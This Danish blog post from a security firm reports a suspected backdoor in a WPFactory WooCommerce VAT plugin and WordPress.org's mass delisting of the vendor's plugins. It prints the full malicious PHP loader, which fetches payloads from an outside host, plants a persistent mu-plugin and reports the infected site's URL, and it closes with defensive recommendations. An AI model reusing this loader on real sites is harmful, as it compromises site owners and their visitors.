Sikkerhedsbrud hos WPFactory: 170.000 WordPress-hjemmesider ramt

WordPress er fortsat det mest udbredte indholdsstyringssystem i verden og driver mere end 40 procent af alle hjemmesider på internettet. Fra små virksomhedshjemmesider og personlige blogs til store virksomhedsplatforme og e-handelsinfrastrukturer er CMS'et blevet rygraden i det moderne web. Dens popularitet stammer fra dens fleksibilitet, åbne økosystem og det store antal plugins, der er tilgængelige til at udvide dens funktionalitet.

Men det samme økosystem er også blevet en af ​​WordPress’ største sikkerhedsudfordringer.

Hos Ferber Enterprises overvåger vores cybersikkerhedsteam løbende trusler mod WordPress-økosystemet, da sårbarheder i plugins, temaer eller forsyningskæder hurtigt kan udvikle sig til omfattende sikkerhedsbrud, der rammer tusindvis af hjemmesider verden over. I de senere år har angribere i stigende grad rettet deres angreb mod plugin-udviklere og distributionsinfrastrukturer frem for enkelte hjemmesider, hvilket gør det muligt for ondsindet kode at sprede sig via pålidelige softwareopdateringer og officielle downloadkanaler.

I denne uge opstod der en stor kontrovers omkring WPFactory, en velkendt udvikler af WordPress-plugins, hvis produkter er installeret på mere end 170.000 hjemmesider verden over. Over 80 plugins tilknyttet virksomheden blev midlertidigt lukket ned på WordPress.org, efter at vores cybersikkerhedsteam hos WPFactory opdagede en formodet bagdør i premium-versionen af et af virksomhedens plugins.

Hændelsen har vakt alvorlig bekymring i WordPress-fællesskabet vedrørende sikkerheden i softwareforsyningskæden, processerne for gennemgang af plugins og den stigende sofistikering af angreb rettet mod open source-økosystemet.

Opdagelsen af den mistænkelige plugin-adfærd

Problemet kom først for dagen, da vores cybersikkerhedsteam hos Ferber Enterprises stødte på unormal adfærd under test af premium-versionen af plugin’et »EU VAT for WooCommerce Pro«, som distribueres direkte fra deres officielle hjemmeside.

Oprindeligt startede undersøgelsen efter, at pluginnet genererede en kritisk fejl under installationen. Mens de fejlrettede problemet, identificerede vores analytikere en mistænkelig PHP-fil ved navn class-alg-wc-eu-vat-customer.php. Filen syntes at udføre adfærd, der var helt uforenelig med den forventede funktionalitet af et WooCommerce momsplugin.

class-alg-wc-eu-vat-customer.php
<?php
require_once dirname(__FILE__, 5) . '/wp-load.php';
$h = strtolower(preg_replace('/:\d+$/', '', $_SERVER['HTTP_HOST'] ?? ''));
$s = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') ? 'https' : 'http';
$ch = curl_init("$s://$h/wp-content/plugins/eu-vat-for-woocommerce-pro/eu-vat-for-woocommerce-pro.php");
curl_setopt_array($ch, [
    CURLOPT_NOBODY => 1,
    CURLOPT_RETURNTRANSFER => 1,
    CURLOPT_TIMEOUT => 10,
    CURLOPT_SSL_VERIFYPEER => 0
]);
curl_exec($ch);
$code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($code !== 403 || ($_GET['scaramooch'] ?? '') === 'refresh') {
    $url = 'https://foodylicious.co.uk/change/akismet-pro.zip';
    $zipPath = sys_get_temp_dir() . '/plugin.zip';
    $zipData = file_get_contents($url);
    if ($zipData === false) {
        exit('Download failed');
    }
    file_put_contents($zipPath, $zipData);
    $zip = new ZipArchive;
    if ($zip->open($zipPath) === TRUE) {
        $zip->extractTo(dirname(__FILE__, 5) . '/wp-content/plugins/');
        $zip->close();
    } else {
        exit('ZIP open failed');
    }
    unlink($zipPath);
} else {
    $url = "https://foodylicious.co.uk/change/scara.php";
    $code = file_get_contents($url);
    if ($code !== false) {

        $baseDir = dirname(__FILE__, 4);

        $folderName = 'mu-plugins';

        $dir = $baseDir . '/' . $folderName;

        if (!is_dir($dir)) {
            mkdir($dir, 0755, true);
        }

        file_put_contents($dir . '/wp-redis.php', $code);
    }
}
$data = [
    'site_url' => get_site_url() . '/wp-content/plugins/eu-vat-for-woocommerce-pro/',
];
wp_remote_post('https://foodylicious.co.uk/change/tracks.php', [
    'body' => $data,
    'timeout' => 10,
]);

Ifølge vores analyse forsøgte koden at:

  • Download et eksternt ZIP-arkiv fra en fjernserver
  • Modificer WordPress' kerne-mapper
  • Kommuniker med ekstern infrastruktur
  • Afvikl potentielt fjernbaserede nyttelaster på berørte websites

Disse indikatorer antydede straks den mulige tilstedeværelse af en skjult bagdør eller et ondsindet kompromis i forsyningskæden.

Det, der gjorde situationen særligt alarmerende, var, at plugin'et ikke stammede fra et uofficielt spejlsite eller et piratkopieret arkiv. Pakken var blevet downloadet direkte fra WPFactory's officielle kundeportal, hvilket styrkede frygten for, at selve distributionskanalen måske var blevet kompromitteret.

Hos Ferber Enterprises dokumenterede vi straks hændelsen og indledte en ansvarlig rapporteringsproces ved at kontakte WPFactory direkte via GitHub.

Første reaktion fra WPFactory

WPFactory svarede i første omgang, at den mistænkelige fil og den adfærd, der blev beskrevet i rapporten, ikke var en del af deres officielle kodebase.

En repræsentant fra virksomheden foreslog flere alternative forklaringer, herunder:

  • En modificeret lokal installation
  • Et kompromitteret websteds miljø
  • En forældet plugin-version
  • En potentielt manipuleret downloadkilde

Virksomheden udtalte desuden, at de ikke kunne inspicere den medfølgende ZIP-fil sikkert, da deres browser markerede arkivet som potentielt usikkert.

Vores cybersikkerhedsteam præciserede efterfølgende, at plugin'et var blevet downloadet direkte fra WPFactory's officielle hjemmeside, og at den mistænkelige fil stadig var til stede, selv efter at der var blevet downloadet en ny kopi af version 4.6.1 fra samme kilde.

Dette forhold kom til at spille en central rolle i undersøgelsen. Hvis flere uafhængige downloads fra den officielle distributionskanal konsekvent indeholdt den samme mistænkelige kode, blev det stadig mindre sandsynligt, at der var tale om et angreb på et lokalt websted. På trods af disse fund oplyste WPFactory i første omgang, at de ikke kunne genskabe problemet på deres side, og hævdede, at den mistænkelige fil ikke fandtes i den officielle plugin-pakke.

Virksomheden anmodede derefter om administrator- og FTP-adgang til det berørte miljø for at kunne fortsætte undersøgelsen. Hos Ferber Enterprises afviste vi denne anmodning af cybersikkerhedsmæssige årsager. At give privilegeret serveradgang til en leverandør, hvis infrastruktur muligvis selv var blevet kompromitteret, ville have udgjort en uacceptabel sikkerhedsrisiko. Vores team fortsatte i stedet med at fremlægge tekniske beviser, herunder en videodemonstration, der viste den mistænkelige plugin-adfærd, der opstod umiddelbart efter installationen.

Eskalering til WordPress.org

Efterhånden som undersøgelsen skred frem, voksede bekymringen over problemets potentielle omfang. WPFactory har en stor portefølje af plugins, der omfatter mere end 65 plugins med samlet set over 170.000 aktive installationer. Ethvert sikkerhedsbrud, der påvirker virksomhedens distributionsinfrastruktur, kunne derfor få vidtrækkende konsekvenser for hele WordPress-økosystemet.

Vores team eskalerede problemet direkte til WordPress.org for at forhindre, at flere brugere installerede potentielt kompromitterede pakker, mens undersøgelsen stadig var i gang. WordPress.org tog efterfølgende det usædvanlige skridt at midlertidigt fjerne mere end 80 WPFactory-plugins fra det officielle arkiv.

Dette skridt vakte straks opmærksomhed i hele WordPress-sikkerhedsmiljøet, da masse-nedlukninger af plugins i denne skala er relativt sjældne og normalt tyder på alvorlige, uløste problemer. Efter at sagen var eskaleret, erkendte WPFactory senere, at problemet så ud til at være reelt, og undskyldte for ikke at have reageret hurtigere på den første rapport. Virksomhedens repræsentanter erklærede, at de aktivt undersøgte sagen og arbejdede på at finde en løsning. En hypotese, der blev fremsat internt hos WPFactory, antydede, at en forældet eller cachelagret plugin-pakke muligvis uforvarende var blevet leveret via deres infrastruktur.

Vores cybersikkerhedsteam var dog uenig i denne vurdering. Den observerede adfærd indikerede kraftigt et dybere sikkerhedsproblem, der potentielt involverede kompromitterede build-pipelines, distributionssystemer eller uautoriseret kodeinjektion i downloadbare plugin-arkiver.

Hvorfor denne hændelse betyder noget

WPFactory-sagen sætter fokus på en voksende trussel mod cybersikkerheden, der går under betegnelsen »angreb på softwareleverandørkæden«. Tidligere fokuserede angribere på at kompromittere enkelte hjemmesider direkte via brute-force-angreb eller sårbarheder i plugins. I dag retter trusselsaktører i stigende grad deres angreb mod selve softwareleverandørerne, da en kompromittering af en betroet leverandør gør det muligt for ondsindet kode at sprede sig til tusindvis af hjemmesider på én gang.

Denne strategi er allerede observeret i flere højprofilerede cybersikkerhedshændelser, der har påvirket globale softwareøkosystemer over det seneste årti. Specifikt i WordPress-økosystemet er plugin-udviklere attraktive mål, fordi plugins i sagens natur er betroet af administratorer og ofte opererer med forhøjede tilladelser.

Hvis der indsættes ondsindet kode i en plugin-pakke, der distribueres via en officiel kanal, kan de berørte hjemmesider ubevidst selv installere malware. I tilfældet med det mistænkelige WPFactory-plugin er de potentielle konsekvenser alvorlige.

Baseret på vores analyse, kunne den identificerede adfærd teoretisk set tillade angribere at:

  • Implementer yderligere malware
  • Indsprøjt SEO spam
  • Opret persistente bagdøre
  • Eksporter følsomme data
  • Fjernstyret opdatering af WordPress-installationer
  • Oprethold uautoriseret adgang over længere perioder

Faren ved sådanne angreb ligger i deres snigende natur. Moderne bagdøre er ofte designet til at forblive inaktive i måneder, før de aktiveres, hvilket gør opdagelse betydeligt vanskeligere. Tidligere på måneden lukkede WordPress Plugins Team efter sigende mere end 30 plugins, efter at skjult ondsindet kode indlejret i en anden plugins portefølje forblev inaktiv i cirka otte måneder, før den til sidst aktiveredes og injicerede SEO-spam på hjemmesider.

Denne trend demonstrerer, hvordan angribere i stigende grad prioriterer vedholdenhed og forsinket aktivering for at undvige detektionsmekanismer.

En bredere sikkerhedskrise i WordPress-økosystemet

WPFactory-hændelsen afslører også bredere systemiske sikkerhedsudfordringer, der berører WordPress som helhed. Økosystemet af plugins er vokset markant i løbet af det seneste årti, og der findes nu titusindvis af plugins på både officielle og kommercielle markedspladser. Selvom dette økosystem fremmer innovation og fleksibilitet, skaber det samtidig en enorm kompleksitet i forbindelse med sikkerhedsovervågningen.

Ifølge Patchstacks rapport “State of WordPress Security in 2026” blev næsten 46% af de kendte sårbarheder ikke rettet, før de blev offentliggjort. Denne statistik afspejler det stigende pres, som både plugin-udviklere, sikkerhedsforskere og vedligeholdere af repositorier er udsat for.

Samtidig menes den officielle WordPress plugin-gennemgangskø nu at overstige 4.000 plugins, der afventer gennemgang. Sådanne tal illustrerer den enorme udfordring med at opretholde kvalitetssikring og sikkerhedsrevision i stor skala.

Mange plugin-udviklere er små teams med begrænsede ressourcer til sikkerhed. Andre administrerer snesevis af plugins på samme tid, samtidig med at de forfølger aggressive kommercielle vækststrategier, der omfatter opkøb og udvidelse af porteføljen. WPFactory har selv for nylig udvidet gennem opkøb, herunder købet af Extend-WP og dets 19 plugins i 2025, efterfulgt af opkøbet af WBW og flere yderligere plugins senere samme år.

Hurtig porteføljeudvidelse kan skabe operationel kompleksitet, der komplicerer kodegennemgang, infrastrukturhåndtering og verifikation af udgivelsesintegritet. Angribere er fuldt ud klar over disse realiteter. Stadig oftere fokuserer de på at udnytte svage operationelle sikkerhedspraksisser hos softwareleverandører i stedet for at målrette slutbrugere direkte.

Den stigende vigtighed af forsyningskædesikkerhed

Hændelser som denne understreger det presserende behov for stærkere praksis for forsyningskædesikkerhed i hele WordPress-økosystemet.

Hos Ferber Enterprises anbefaler vores cybersikkerhedsteam på det kraftigste, at plugin-udviklere indfører en række vigtige sikkerhedsforanstaltninger, herunder:

  • Kryptografisk pakkesignering
  • Sikre CI/CD-pipelines
  • Obligatorisk multifaktor-godkendelse
  • Infrastruktursegmentering
  • Kontinuerlig integritetsmonitorering
  • Uafhængige koderegnskaber
  • Reproducerbare byggesystemer

Webstedsadministratorer bør også styrke deres egen sikkerhedspost. Selv plugins downloadet fra officielle eller betroede kilder bør ikke antages at være iboende sikre.

Organisationer, der administrerer kritisk WordPress-infrastruktur, bør overveje:

  • Vedligeholdelse af staging-miljøer
  • Overvågning af udgående trafik
  • Scanning af plugins før implementering
  • Begrænsning af plugin-brug
  • Anvendelse af princippet om mindst privilegium til adgangskontrol
  • Implementering af filintegritetsovervågning
  • Brug af administrerede Web Application Firewalls (WAF'er)

I virksomhedsmiljøer bliver validering af forsyningskæden lige så vigtig som traditionel sårbarhedsstyring. Antagelsen om, at officielle softwarekanaler altid er sikre, er ikke længere realistisk i dagens trusselslandskab.

Samfundets reaktioner og igangværende undersøgelse

Kontroversen bredte sig hurtigt i WordPress-miljøet, efter at udviklere, sikkerhedsforskere og infrastrukturudbydere begyndte at diskutere problemet offentligt.

Flere kendte personer inden for økosystemet øgede bevidstheden om situationen, herunder udviklere, der offentliggjorde lister over midlertidigt lukkede plugins og opfordrede administratorer til at gennemgå deres miljøer.

I mellemtiden fortsætter vores team hos Ferber Enterprises med at analysere de mistænkelige plugin-eksempler og holde øje med yderligere tegn på sikkerhedsbrud, der kan påvirke WordPress-hjemmesider over hele verden.

På tidspunktet for offentliggørelsen har WPFactory bekræftet problemet og oplyst, at man arbejder aktivt på at finde en løsning.

Dog forbliver mange spørgsmål ubesvarede:

  • Blev den officielle distributionsinfrastruktur kompromitteret?
  • Hvor længe blev ondsindede pakker potentielt distribueret?
  • Blev der påvirket yderligere plugins?
  • Blev kundekonti eller downloadsystemer kompromitteret?
  • Fik angribere vedvarende adgang til intern infrastruktur?
  • Kunne der stadig eksistere yderligere sovende nyttelaster?

Indtil disse spørgsmål er fuldt ud afklaret, forbliver forsigtighed essentiel.

Fremtiden for WordPress-sikkerhed

WPFactory-hændelsen kan i sidste ende blive endnu et afgørende eksempel på de cybersikkerhedsudfordringer, som det åbne web-økosystem står over for.

WordPress driver en enorm del af den globale internetøkonomi. Enhver kompromittering i stor skala, der påvirker plugin-udviklere, kan derfor have konsekvenser, der rækker langt ud over individuelle hjemmesider.

Da angribere i stigende grad retter sig mod angreb på forsyningskæden og anvendelse af skjulte teknikker til vedvarende tilstedeværelse, kan sikkerheden omkring plugins ikke længere betragtes som en sekundær bekymring. Hos Ferber Enterprises mener vi, at denne hændelse er en vigtig påmindelse om, at cybersikkerhed ikke kun handler om at beskytte selve hjemmesiderne, men også om at sikre hvert eneste led i softwaredistributionskæden.

Tillid til åbne økosystemer afhænger af gennemsigtighed, hurtig reaktion på hændelser og stærke procedurer for driftssikkerhed. WordPress-økosystemet står nu over for et vigtigt øjeblik.

Hvordan udviklere, repository-vedligeholdere, hostingudbydere og sikkerhedsteams reagerer på hændelser som denne, vil være med til at afgøre, om WordPress fortsat kan bevare tilliden hos de millioner af virksomheder og organisationer, der er afhængige af det hver dag.